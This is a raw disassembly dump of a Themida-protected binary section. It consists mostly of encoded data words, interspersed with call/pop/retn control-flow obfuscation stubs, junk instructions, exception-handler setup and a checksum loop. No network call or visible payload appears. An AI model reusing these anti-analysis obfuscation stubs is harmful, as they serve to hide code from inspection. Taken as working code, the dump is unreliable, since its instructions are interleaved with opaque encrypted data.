		dd 1062CD39h, 7D5ADED1h, 0C70193CFh, 4E89A0C8h,	4F968EA0h
		dd 608083C5h, 0F3983866h, 0E48CF1DFh, 4C3C6849h, 7ACF7F10h
		dd 10074F97h, 4F977AE2h, 0B834D361h, 0A45F479Ah, 6317B5D4h
		dd 0A5A270E7h, 0D1A1CF96h, 0EEBB8D37h, 769DBDDEh, 0CF965EC8h
		dd 0C7B3215Fh, 0BF1660D9h, 0C47C818Eh, 60BA7BC6h, 8352E608h
		dd 0F8000000h, 0D1DE0F65h, 0E68A8547h, 49396D4Bh, 0A7977DC6h
		dd 0D73642D5h, 0F65C538Dh, 60BDB2ACh, 858334E9h, 3EC99FC9h
		dd 0B414EF8h, 3632826Eh, 0CE7CE439h, 0C9B82692h, 4C4EE2D1h
		dd 5F6A98BFh, 4BF9C985h, 98F255DDh, 9FCF9B5Ch, 0C669C61h
		dd 1250D8D7h, 6563DFD0h, 3031C196h, 5D49113Fh, 42FFAEC2h
		dd 454AFE14h, 7EEEB8B8h, 5CE73971h, 9BD7836Dh, 0A80A9AF4h
		dd 0A334D2D5h, 803988B4h, 13A10E62h, 6CB4C33Dh,	8CA555FAh
		dd 0D4A2CF96h, 968C9343h, 0F66490CFh, 2B070878h, 63D5AC8Ah
		dd 5E769D65h, 0D058F833h, 68B449E7h, 2F9BF1FEh,	126669D5h
		dd 841916D0h, 0EAA19145h, 36D08EF5h, 791EE1DFh,	0A51A0AC9h
		dd 0C924225Eh, 0E83E727Ch, 0A0AF995Fh, 0DD049EEAh, 315CBD2h
		dd 0B35C8C7h, 0C033D67h, 0F4778DF1h, 0F46DB7FBh, 0C8758FFBh
		dd 763A26C7h, 0EAE55DA7h, 111EC913h, 2E396F8Ch,	53A19D0Ch
		dd 0DC049996h, 0E1010254h, 0A68175E7h, 0ACC49B17h, 8FFBF476h
		dd 0AEC2CD75h, 636CDE48h, 0CAC9Ah, 0D6F00000h, 0E6FE4F7Dh
		dd 6F9D955Dh, 85430686h, 3F29738Ah, 5497ED30h, 0CA7A425Bh
		dd 64DC38C5h, 9E4A926Bh, 31300C91h, 0A895EF3Eh,	0C97E46A7h
		dd 683727C6h, 7FD6h, 52243C89h,	0C281E289h, 4, 4EA81h
		dd 14870000h, 14895C24h, 5B486824h, 1C890000h, 46486824h
		dd 34890000h, 0FD6ABE24h, 0F2890615h, 1C8B545Eh, 4C48124h
		dd 83000000h, 48904ECh,	8B824h,	0D8010000h, 0FF581089h
		dd 815B2434h, 4C4h, 24148B00h, 81E38953h, 4C3h,	4C38100h
		dd 87000000h, 0E95C241Ch, 0FFFB7AB3h, 0F594F822h, 31FC8C4Ch
		dd 2D5B8A9h, 0C5030616h, 0A902E0FFh, 27D86BAAh,	68A95C0Ah
		dd 27B35921h, 14660185h, 278C5009h, 237E649Eh, 4DBE3B7Eh
		dd 2497620Ch, 58C60966h, 0D8136570h, 858D64A2h,	6112795h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 2EC35040h
		dd 90D9BF0Fh, 0E41ABB66h, 0B02CBF50h, 6A9062BAh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0E39EC356h, 7F3979C0h, 89006AB2h, 1106119Dh,	0E9006A06h
		dd 13h,	6407B4EEh, 8B3E4BC9h, 60E5161Dh, 82B194D4h, 94D6EB7h
		dd 112919BDh, 94858D06h, 66061605h, 0C083F98Bh,	82E38105h
		dd 90507D28h, 12E8h, 0B6F4E600h, 0CEA843E8h, 0A0D7D903h
		dd 25C4ED71h, 6087906Ch, 8E8h, 0BAAAEB00h, 97BF95CCh, 8D0F59D1h
		dd 0
; ---------------------------------------------------------------------------
		popa
		pop	edi
		push	eax
		pusha
		push	ebx
		mov	bh, 7Ch
		pop	edx
		popa
		nop
		push	0
		push	eax
		call	sub_59A01D
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A01D	proc near		; CODE XREF: Themida_:0059A015p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_59A01D	endp

; ---------------------------------------------------------------------------
		db 0BAh, 41h, 0Fh
		dd 680h, 0E9953100h, 6A061108h,	6A006A00h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 4006C352h
		dd 0BF1806B0h, 1823A35Bh, 95FFDA8Bh, 611075Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 37C35242h, 3315EBE4h
		dd 8D8C1ADCh, 14A4208Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 0CBA81656h, 9CECFFBCh
		dd 0D1FFCEB7h, 206D9D8Bh, 0BD830611h, 6111B71h,	8B850F01h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 259BC351h, 0F2E2D1D9h,	29199D8Bh
		dd 26A0611h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 17h,	96C35747h, 8BD41733h, 11318D9Dh, 0DE85006h, 67000000h
		dd 6A53C32h, 0AB5911FBh, 90B7E403h, 850F5250h, 0
		dd 5250310Fh, 585A310Fh, 895B585Ah, 9E92404h, 0F4000000h
		dd 66A873Ch, 6ECF2C72h,	2B6595FFh, 41E90611h, 0E800000Dh
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 616059Eh
		sub	edi, [ebp+6110055h]
		push	0
		push	ecx
		call	sub_59A17C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A17C	proc near		; CODE XREF: Themida_:0059A174p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_59A17C	endp

; ---------------------------------------------------------------------------
		dd 0CAE0D2A9h, 69383034h, 8DDA8B66h, 14896885h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 6A54F06Dh, 315456D5h, 1133FD9Dh, 0EE85006h, 0A8000000h
		dd 1083AE4h, 1D511CF2h,	3F636154h, 4895B07h, 0D3816624h
		dd 0FF648B0Ch, 35h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 4D264B51h, 89B6FEF6h
		dd 11122585h, 25896406h, 0
; ---------------------------------------------------------------------------
		mov	bl, dl
		inc	dword ptr [ebp+61107ADh]
		push	0
		push	ecx
		call	sub_59A22B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59A22B	proc near		; CODE XREF: Themida_:0059A223p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_59A22B	endp

; ---------------------------------------------------------------------------
		db 0E1h
		dd 0DD571AA9h, 0FF6A0CB4h, 0CE9h, 0F76C3200h, 0A7DEDD11h
		dd 17879F20h, 21B5FF18h, 6A06112Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8902C351h
		dd 1127A18Dh, 0D95FF06h, 0E9061115h, 0FEh, 1B4D8D89h, 0B00611h
		dd 8E8h, 0D32AC300h, 5D8C5BE5h,	6185899Ah, 5B061126h, 0BD8B70E6h
		dd 611342Dh, 816671E4h,	3CF680C3h, 0CB830F61h, 0E8000000h
		dd 6, 0B8D16F58h, 8A5F5142h, 0C8B60FFDh, 6BAh, 0E7816600h
		dd 0C18BFD13h, 4E8C1F5h, 658D29h, 0F7660611h, 0A5B501E2h
		dd 2B06111Bh, 0E8D18BC8h, 6, 19DF63C1h,	8B565120h, 1108FD9Dh
		dd 0E95B5B06h, 7Eh, 18E0Fh, 8BF90000h, 4C4C4485h, 83E2B75Fh
		dd 0C08307C0h, 0D8BF6600h, 0FD03B64h, 1183h, 810F00h, 0E9000000h
		dd 52h,	8BD9D8Bh, 8D8B0611h, 0FFFFFFFFh, 4108B960h, 958B1B9Fh
		dd 61104EDh, 1E18361h, 30840Fh,	83F90000h, 0FFFFFFA5h
		dd 860FFEFFh, 6, 13599D0Bh, 820F0611h, 6, 33D99D89h, 95890611h
		dd 5F4C4C44h, 56AC00BBh, 0E968h, 0B58D0000h, 6157033h
		dd 0DF59D8Bh, 6A0611h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 4CC35343h, 5DB58906h,	0FF06110Bh, 1105C595h
		dd 12E906h, 914A0000h, 0A9DA9DE4h, 2780222Dh, 2F6BAC75h
		dd 14C3F5F5h, 106BB9h, 0CAC38000h, 6AFCE183h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8B1DC353h, 6AFCF9h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 1D0806C3h, 12DD9D89h, 0C02B0611h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1BC35747h
		dd 15BF66A3h, 278E0FA5h, 0E8000000h, 12h, 0C6AD516h, 6911EB70h
		dd 0DC9B26F1h, 46AF8FE2h, 9E86C34h, 1C000000h, 665177D3h
		dd 126C3F42h, 0BA5F5Bh,	8B000000h, 1104999Dh, 0C233AD06h
		dd 0D003E8D1h, 7504E983h, 0AE8F4h, 0AD3E0000h, 0B7DAEB63h
		dd 0C8C40A36h, 1B1D9501h, 0E85B0611h, 6, 0CB99964Bh, 81B78DBFh
		dd 880D5Fh, 0B5310000h,	6113249h, 6840Fh, 9D8B0000h, 6111485h
		dd 285D958Bh, 12E80611h, 0BC000000h, 7C52FB89h,	49F9312Ch
		dd 0A7B781A5h, 6AFCF73h, 18F0F2Dh, 0F9000000h, 0D18D8B5Fh
		dd 6A06112Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 69BFC356h, 0C551BB66h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BD8B5818h, 6111BA5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 9C35343h
		dd 0BD83E101h, 6112381h, 6F840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 0F650C350h, 840FCC9Bh, 2, 0B8DA8Ah, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 524C355h, 0D6F2E330h, 0B531F8B7h, 61113ADh, 4E3E8D8Dh
		dd 22BF0611h, 0F4A2A82h, 681h, 800F00h,	0FF000000h, 0BD83FCE1h
		dd 6112709h, 72840F00h,	6A000004h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 39E0C356h
		dd 9BAC4500h, 49AB6F72h, 21419D0Bh, 0BD830611h,	6112709h
		dd 55840F01h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0B783C355h,	9BD83CEh
		dd 3061127h, 3F4860Fh, 14E80000h, 0C3000000h, 0EED2B7C6h
		dd 0D48C44B0h, 6A108220h, 3AB19CF9h, 812CA453h,	0A1951BEFh
		dd 0E8605F07h, 9, 8E257A9h, 667C2C59h, 0D38166C7h, 665B9B90h
		dd 0BF0FD98Ch, 0DE8B66F9h, 6604E180h, 0C189E781h, 840FC90Ah
		dd 131h, 1FA1BD8Bh, 858B0611h, 6111BF5h, 0B5858960h, 66061106h
		dd 3361C88Bh, 11030585h, 0D69ABF06h, 0CF802888h, 60509018h
		dd 0E79CBE66h, 61C88B66h, 14E990h, 918C0000h, 703FC36h
		dd 0EA4658Dh, 907C7639h, 4A4A6CB7h, 6A2E58h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 2EC35646h, 0F5470ACBh
		dd 0E752B68h, 60525082h, 0CE99AB6h, 0A2000000h,	20F540B1h
		dd 89A76D1Dh, 61621FACh, 8B66310Fh, 81585ADFh, 8ED42404h
		dd 6A7E10h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0B742AEC3h, 8BB0E4AEh, 0C195FFFAh, 6A06112Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0DB34C355h, 0B36630C2h, 2AD5BD0Bh, 85890611h
		dd 614BD76h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0EFC35343h, 5CED99A0h, 1CEE9h, 0DE900h,	0C9DC0000h
		dd 0FE213033h, 957B00CFh, 0E9BDB954h, 9, 6388631Ch, 993E69D4h
		dd 6E858BA3h, 510614BDh, 6A59D89h, 0C75B0611h, 1800h, 0AE800h
		dd 0A0940000h, 9A1E7D94h, 91BBB555h, 0A3DBD23h,	8B5F0611h
		dd 14BD72B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 11FA7933h, 0F381664Ah, 858B6563h
		dd 61114E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0A7C35747h, 8587FDF5h, 35964F62h, 8D89606Ch, 6111F9Dh
		dd 68961F5h, 8B82E780h,	111BF585h, 0BD9D0306h, 0B06110Fh
		dd 1128A1BDh, 4468906h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 4CC35646h, 3C8997E7h,	9D7BC8CAh, 5096FB8Bh
		dd 5E952h, 2A70000h, 0FA1B64Fh,	50585A31h, 0F5C9CFBBh
		dd 6A9648h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 163012C3h, 7D853192h, 0FF061113h,	14BD6EB5h
		dd 0CD68F906h, 66CE6EFBh, 481FA8Bh, 0B0083224h,	81B58931h
		dd 8D061104h, 14BD7685h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 9B0FC5D3h, 90C0A977h
		dd 6050FA8Ah, 5E839B2h,	3F000000h, 60047DEAh, 615B5A53h
		dd 51006A90h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 1A22CFB0h, 2221EC92h, 2AC195FFh,	6A0611h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 3D3D9CC3h, 6B2F4154h, 61481A60h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 83C35646h, 387FFFC5h, 0A5BF663Eh
		dd 0C840F13h, 0E9000000h, 7, 1BC03512h,	0C7E672F0h, 11270985h
		dd 306h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0BA7F7122h, 8A535E4Fh, 68B0FDCh
		dd 89000000h, 110379BDh, 9E85606h, 20000000h, 6DD56BE2h
		dd 0BC1E472Fh, 0EE9h, 2C63A000h, 0F3DADFCEh, 0BABA3046h
		dd 5BFEA7FCh, 76BD835Fh, 614BDh, 24840Fh, 9D8B0000h, 61105ADh
		dd 34E9h, 138E0F00h, 0F000000h,	0D8Bh, 8E900h, 15BF0000h
		dd 0D731629Fh, 3050AF48h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 959529C0h, 2B061124h, 110DE5BDh, 9BD8306h, 3061127h
		dd 3C0850Fh, 81660000h,	83CD60DBh, 14BD76BDh, 840F0006h
		dd 3AEh, 229D9589h, 0B5FF0611h,	614BD76h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Dh, 84C35242h, 6A98A556h
		dd 8F88AF31h, 9195FFD5h, 0BF061132h, 4CF123CFh,	0BD6AB58Bh
		dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BF0FC8C3h, 106C7D9h, 8B000100h, 1125B5BDh
		dd 75BD8B06h, 96061132h, 38B0Fh, 8B660000h, 8B6650FBh
		dd 0FFF596DFh, 14BD76B5h, 34BB6606h, 0E995FF6Eh, 6A061100h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0C311C352h, 0F8858510h, 0CC474D31h, 5840Fh
		dd 80600000h, 8B6105D5h, 14BD6AB5h, 8BDF8B06h, 11142585h
		dd 860F06h, 66000000h, 89F81EBFh, 0C486h, 0DEBF0F00h, 285D958Bh
		dd 6A0611h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 9D5FFC3h,	0AA3CE9B0h, 0E9D5B0C5h,	0Ch, 0D42F64DDh
		dd 0C60F3AC5h, 0BD6084DBh, 3800Fh, 8B660000h, 4C283F9h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0A7C35040h
		dd 5089DA8Bh, 0E9BD8B20h, 8D061125h, 14D06285h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 1DE8207Ah, 2A74EB25h, 8A0F291Eh, 3, 8915E780h, 0B886h
		dd 0B6E78000h, 2135BD8Bh, 6A0611h, 6830Fh, 0BD0B0000h
		dd 6112655h, 0BD76B5FFh, 0BD8B0614h, 6110479h, 2B6595FFh
		dd 6A0611h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 0F796F1C3h, 8EE6F70Bh, 0FAB3A59h,	0E850F9B7h
		dd 6, 22C9ADBCh, 0D88B5F04h, 2434895Bh,	0A6D2BA60h, 0D58A1271h
		dd 0FFF88A61h, 14BD76B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 3E40FC8h, 236143EFh
		dd 112919BDh, 2995FF06h, 6A06110Eh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0D27DC351h
		dd 0BBF4976Ch, 703AA8B4h, 30EF8166h, 61BD830Bh,	61127h
		dd 4A840Fh, 10E90000h, 0A3000000h, 938AB676h, 38CF26ADh
		dd 4F5B9EEEh, 5070D769h, 3489D98Bh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0ADF3B73Dh
		dd 9D5D6186h, 5C381D9h,	0BB49D2ABh, 4BE85470h, 0BD76B5FFh
		dd 0BF0F0614h, 0F195FFDAh, 81061112h, 0B2FA95F7h, 76B5FF3Ah
		dd 890614BDh, 1117A185h, 0B995FF06h, 66061105h,	83F57FBFh
		dd 11013DBDh, 840F0206h, 97h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0B5C35545h,	0B6417D69h, 8B4CE2F3h
		dd 110C3D9Dh, 71958906h, 1061134h, 112BADB5h, 1858B06h
		dd 6A061131h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 486CC356h, 7243AA2Ah, 2721AB47h
		dd 6A0000C6h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 51D3C356h, 0B0F0492Ah,	56B7C8D6h
		dd 4BFFBF66h, 4810F5Bh,	66000000h, 0C7C844BBh, 1104D585h
		dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8151A0CDh, 0D03C3D3h, 0EBE95F79h
		dd 6AFFFFF3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 70C9C353h, 9D8B0D0Eh, 6112859h
		dd 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0C7BB13C3h, 0F88BCEC8h, 2795858Dh, 5E90611h
		dd 0E4000000h, 0E0EB5122h, 89FE8B50h, 6A2404h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 5B4C3h, 0F3BEC291h, 6A9A6Ah,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 37C35040h, 2D0A896Dh, 0B305F9C5h
		dd 198E0Fh, 0E9570000h,	12h, 0CF6D753Eh, 0EF4C9E79h, 0F03F36D2h
		dd 0A1895216h, 6A5B2567h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 63E52BE1h
		dd 0F86E823h, 689h, 0F9CF8100h,	8D76AD36h, 16153C85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 684EAC02h, 42957138h, 5C0834Ch, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0D0C35141h,	0B5A850FFh, 63E8D690h
		dd 0BB665074h, 4896F95h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 2D9589E6h, 6A061102h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 6A344886h, 998D8900h, 0FF06111Dh, 11075D95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 8D8DCABEh, 614A420h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 3AC35242h, 0EC756771h, 0FE6645D2h
		dd 0FE8B66A6h, 6AD1FFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0A3F827C3h, 11F7BB1Dh, 0CEBB2E9Fh
		dd 837B628Ah, 111B71BDh, 850F0106h, 86h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 66C35747h, 6AFA8B66h
		dd 50006A02h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0B1CAF71Fh, 0E433BDF8h, 8166BFE7h, 905E75D3h
		dd 0B7D98A60h, 60506180h, 5EF28B52h, 11C2D0BAh,	6A906118h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0ED21C350h, 95FF1CB4h, 6112B65h, 0B3E927B3h
		dd 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6161546h
		push	0
		push	edx
		call	sub_59B11E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B11E	proc near		; CODE XREF: Themida_:0059B116p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_59B11E	endp

; ---------------------------------------------------------------------------
		pusha
		pop	eax
		les	esp, [esi-6E63269Ah]
		movsx	ebx, di
		lea	eax, [ebp+6148968h]
		push	0
		push	eax
		call	sub_59B14A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B14A	proc near		; CODE XREF: Themida_:0059B142p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_59B14A	endp

; ---------------------------------------------------------------------------
		test	[esi+50h], ebp
		jmp	loc_59B174
; ---------------------------------------------------------------------------
		dw 0CB30h
		dd 6D6FA4A4h, 428362F1h, 0E3328CFAh, 42B54274h
; ---------------------------------------------------------------------------


loc_59B174:				; CODE XREF: Themida_:0059B15Dj
		mov	[esp], eax
		push	0
		push	eax
		call	sub_59B182
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B182	proc near		; CODE XREF: Themida_:0059B17Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_59B182	endp

; ---------------------------------------------------------------------------
		test	eax, 0C0C0D46Ch
		cld
		mov	[ebp+611230Dh],	edx
		push	large dword ptr	fs:0
		clc
		mov	large fs:0, esp
		mov	ebx, [ebp+61108E5h]
		inc	dword ptr [ebp+61107ADh]
		push	0
		push	eax
		call	sub_59B1C4
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B1C4	proc near		; CODE XREF: Themida_:0059B1BCp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_59B1C4	endp

; ---------------------------------------------------------------------------
		dd 5F5851B1h, 0C0553716h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h
					; CODE XREF: Themida_:loc_59BF71j
		dd 44810424h, 1D0424h, 56460000h, 97601EC3h, 37A68788h
		dd 0BF90F7E5h, 41B91555h, 2C49B5FFh, 9D8B0611h,	6112141h
		dd 150D95FFh, 13E90611h, 66000001h, 0CDA3C781h,	7E800B0h
		dd 35000000h, 0D6C6B080h, 0DA8A2816h, 6670E65Bh, 89DD9FBFh
		dd 1129D995h, 0BF71E406h, 6464FFFBh, 830F613Ch,	0E2h, 15A59501h
		dd 0B60F0611h, 0B18D89C8h, 0BA061130h, 6, 0E8D0Fh, 9E90000h
		dd 0E8000000h, 3FB310A1h, 411276D7h, 0E8C1C18Bh, 0F766FC04h
		dd 899D89E2h, 2B061100h, 0EBC781C8h, 8B3BE7D2h,	9E9D1h
		dd 0E91D0000h, 16DEAAE7h, 0E9F61F60h, 8Eh, 858B81B7h, 47554C50h
		dd 3249BD8Bh, 0C0830611h, 11E96007h, 0BA000000h, 0A00166DEh
		dd 5A98757Bh, 7CC71FF7h, 0B52740F3h, 61DFBF0Fh,	6600C083h
		dd 0BB66FE8Bh, 0D03B9A0Ch, 14830Fh, 9D890000h, 6110AF9h
		dd 45E9h, 3830F00h, 66000000h, 8D8BF98Bh, 0FFFFFFFFh, 68C0Fh
		dd 0B5290000h, 6111F35h, 0F01E183h, 2184h, 1DB58900h, 83061127h
		dd 0FFFFFFA5h, 0BF0FFEFFh, 509589F9h, 8B47554Ch, 1112E19Dh
		dd 0E906h, 0B58D0000h, 615809Eh, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 14h, 77C35141h, 13E8DC8Ah, 42000000h
		dd 25C354A7h, 0EB129031h, 0CBD242EBh, 4EB2637Eh, 6A5F7F56h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 396AD008h, 0FB8D954Ah, 667793BBh, 0C595FF48h
		dd 6A061105h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 813C353h, 0F7CBD160h, 26D98529h
		dd 0F0B90611h, 6600000Eh, 835EEABBh, 0BD8BFCE1h, 6111F9Dh
		dd 52006AFCh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 2B412687h, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 959D8B81h
		dd 0BA061100h, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+6113225h]


loc_59B426:				; CODE XREF: Themida_:0059B430j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_59B426
		push	0
		push	ebx
		call	sub_59B43D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B43D	proc near		; CODE XREF: Themida_:0059B435p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_59B43D	endp

; ---------------------------------------------------------------------------
		db 6Dh,	8Bh, 0BDh
; ---------------------------------------------------------------------------
		push	ebp
		or	eax, 9D290611h
		sbb	[ecx], eax
		adc	[esi], eax
		clc
		or	eax, 88h
		push	0
		push	ecx
		call	sub_59B46B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B46B	proc near		; CODE XREF: Themida_:0059B463p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_59B46B	endp

; ---------------------------------------------------------------------------
		db 99h
		dd 0E8AB704Ch, 8BD781FEh, 806767ADh, 958BA3EBh,	611285Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0BDC35040h
		dd 0FAE3B8A8h, 1DD30243h, 0E5BD296Eh, 8B06111Eh, 110F81BDh
		dd 0D18D8B06h, 6A06112Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 4A96C353h, 0F70FD15Ch
		dd 13E9BAh, 36430000h, 0D472DE6Eh, 568C5E3Eh, 0AA52F1BDh
		dd 2F4121Bh, 0C28B50CEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 8958188Bh, 1104DDB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 2AAFC356h, 6D763887h
		dd 8A0F6092h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+61121A5h],	edi
		popa
		cmp	dword ptr [ebp+6112381h], 0
		jz	loc_59B59E
		movzx	ebx, di
		mov	eax, 0
		mov	edi, [ebp+6110721h]
